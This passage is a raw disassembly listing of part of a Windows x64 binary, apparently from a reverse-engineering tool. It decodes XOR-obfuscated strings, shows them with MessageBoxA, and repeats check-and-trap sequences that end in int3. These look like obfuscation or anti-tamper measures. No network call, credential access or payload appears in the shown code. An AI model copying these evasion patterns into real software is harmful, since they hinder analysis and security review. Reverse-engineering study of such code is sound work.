shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r13
add r11, 0x15
cmp r8, r10
jb 0x1400295dd
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x140029709
mov rax, qword gs:[0x51]
mov ecx, 0xa77e4c99
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400296e9
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400296e9
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029709
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, rsi
jne 0x140029aca
mov rax, qword gs:[0x51]
movabs rcx, 0x445e706a7db93494
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400297a1
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400297a1
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029aca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x140029870
mov rax, qword gs:[0x51]
mov ecx, 0xa77e4c99
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029850
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029850
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029870
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da4f0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0xad
mov rdi, r15
mov ebx, 0x36d78dab
mov qword [rsp + 0x20], rbx
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.140029bfc
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, r12
jb 0x140029891
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400da650]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400da410]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400da4c0]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x83f66691
mov dword [rbp + 0xd0c], 0xf346870a
mov dword [rbp + 0xd10], 0xf8396c18
mov word [rbp + 0xd14], 0xa8
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.140029c64
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x140029922
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x140029a20
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029a00
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029a00
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029a20
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x140029aca
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029aaa
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029aaa
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029aca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov ecx, 1
call fcn.14008fd18
int3